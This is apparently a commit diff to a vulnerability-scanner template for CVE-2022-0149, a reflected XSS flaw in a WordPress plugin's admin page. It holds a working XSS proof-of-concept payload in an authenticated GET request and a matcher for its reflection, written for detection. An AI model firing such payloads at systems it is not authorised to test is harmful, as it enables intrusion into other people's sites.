Update CVE-2022-0149.yaml

cves/2022/CVE-2022-0149.yaml

@@ -6,12 +6,12 @@ info:
   severity: medium
   description: The plugin was affected by a Reflected Cross-Site Scripting (XSS) vulnerability in the woo_ce admin page.
   reference: https://wpscan.com/vulnerability/e47c288a-2ea3-4926-93cc-113867cbc77c
-  tags: wordpress,wp-plugin,xss,feedwordpress
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.10
     cve-id: CVE-2022-0149
     cwe-id: CWE-79
+  tags: wordpress,wp-plugin,xss,feedwordpress,cve,cve2022
 
 requests:
   - raw:
@@ -24,7 +24,7 @@ requests:
 
         log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
       - |
-        GET /wp-admin/admin.php?page=woo_ce&failed=1&message=%3Cscript%3Ealert(1);%3C/script%3E HTTP/1.1
+        GET /wp-admin/admin.php?page=woo_ce&failed=1&message=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
         Host: {{Hostname}}
 
     cookie-reuse: true
@@ -33,7 +33,7 @@ requests:
       - type: word
         part: body
         words:
-          - "<script>alert(1);</script>"
+          - "</script><script>alert(document.domain)</script>"
 
       - type: word
         part: header